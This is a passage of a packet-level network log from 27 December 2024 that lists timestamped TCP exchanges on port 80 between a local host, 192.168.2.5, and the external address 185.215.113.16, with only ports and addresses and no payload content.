Dec 27, 2024 15:09:16.306266069 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.306430101 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.306472063 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.307616949 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.308989048 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.309000969 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.309011936 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.309036016 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.309071064 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.310292959 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.310859919 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.310906887 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.311693907 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.313177109 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.313189030 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.313219070 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.313234091 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.313265085 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.314358950 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.315747023 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.315758944 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.315768957 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.315793991 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.315825939 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.317066908 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.369581938 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.433248997 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.433274984 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.433329105 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.433557034 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.433696985 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.433728933 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.434525013 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.435225010 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.435273886 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.435738087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.435964108 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.436003923 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.436624050 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.437529087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.437572002 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.437649965 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.437661886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.437700987 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.438671112 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.439693928 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.439707041 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.439718008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.439740896 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.439775944 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.440743923 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.441787004 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.441798925 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.441809893 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.441832066 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.441849947 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.442949057 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.443802118 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.443814039 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.443850040 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.443866968 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.443905115 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.444792986 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.444900990 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.444936037 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.445836067 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.445847034 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.445883036 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.446870089 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.447993994 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.448005915 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.448015928 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.448048115 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.448084116 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.449167013 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.450025082 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.450037003 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.450048923 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.450064898 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.450086117 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.452105045 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.452301025 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.452337980 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.453262091 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.453274012 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.453306913 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.453974009 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.453984976 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.454047918 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.454668045 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.454680920 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.454725027 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.455507040 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.456430912 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.456475019 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.456605911 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.456618071 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.456662893 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.457565069 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.457583904 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.457622051 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.458775043 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.458789110 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.458822966 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.459558010 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.460462093 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.460473061 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.460483074 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.460498095 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.460516930 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.461199045 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.461863995 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.461904049 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.462202072 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.462212086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.462248087 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.463356018 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.463546991 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.463583946 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.464245081 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.465297937 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.465308905 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.465331078 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.465336084 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.465364933 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.466345072 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.466527939 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.466562033 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.467447996 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.467458963 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.467495918 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.468375921 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.469440937 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.469449997 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.469456911 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.469490051 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.470398903 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.470566034 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.470603943 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.471450090 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.471460104 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.471498966 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.472414970 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.473470926 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.473500967 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.473511934 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.473520994 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.473561049 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.474526882 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.475367069 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.475404024 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.475509882 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.475522041 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.475554943 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.476520061 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.477020979 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.477118015 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.477565050 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.477843046 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.477881908 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.478568077 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.478755951 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.479043961 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.479618073 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.480330944 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.480412006 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.480628014 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.480647087 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.480684042 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.481664896 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.482299089 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.482340097 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.482742071 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.483284950 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.483320951 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.483697891 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.483971119 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.484018087 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.484714985 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.485728025 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.485738993 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.485769033 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.485781908 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.485819101 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.486754894 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.541456938 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.625710011 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.625744104 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.625864983 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.626182079 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.626380920 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.626425028 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.627186060 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.627300024 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.627850056 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.628173113 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.628302097 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.629084110 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.629205942 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.629318953 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.629390001 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.630250931 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.630363941 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.630924940 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.631278038 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.631391048 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.631431103 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.632273912 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.632415056 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.632786989 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.633467913 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.633563995 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.633604050 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.634326935 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.634432077 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.634530067 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.635380030 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.635512114 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.635591030 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.636384010 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.636509895 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.636594057 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.637411118 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.637501001 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.637541056 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.638479948 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.638600111 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.638638020 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.639522076 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.639586926 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.640484095 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.640544891 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.640598059 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.641305923 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.641561031 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.641659975 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.641699076 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.642525911 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.642638922 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.643042088 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.643625975 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.643704891 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.643743038 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.644587040 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.644752026 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.645081997 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.645606041 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.645724058 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.645766020 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.646635056 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.646717072 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.646801949 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.647649050 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.647779942 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.647877932 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.649008989 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.649286032 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.649328947 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.649993896 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.650015116 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.650058985 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.650703907 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.650816917 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.650859118 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.651748896 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.651866913 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.652198076 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.652751923 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.652872086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.653058052 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.653769970 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.653898001 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.653939962 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.654817104 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.654932976 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.655229092 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.655831099 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.655963898 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.656002045 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.656897068 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.657007933 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.657275915 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.657910109 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.658061981 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.658134937 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.658943892 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.659044981 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.659198999 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.659967899 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.660041094 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.660188913 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.660937071 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.661051989 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.661185980 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.661959887 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.661990881 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.662053108 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.662132978 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.663001060 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.663130045 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.663800955 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.664062023 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.664130926 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.665024996 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.665066957 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.665119886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.665158033 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.666112900 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.666249990 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.666290998 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.667120934 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.667233944 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.667366982 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.668114901 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.668215036 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.668279886 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.669115067 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.669258118 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.669296026 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.670202017 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.670264959 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.670316935 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.671231031 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.671325922 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.671375036 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.672256947 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.672331095 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.672480106 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.673264027 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.673724890 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.673839092 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.674994946 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.675156116 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.675261974 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.675328016 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.675463915 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.675580978 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.675714970 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:16.676378012 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:16.676481962 CET	80	49718	185.215.113.16	192.168.2.5
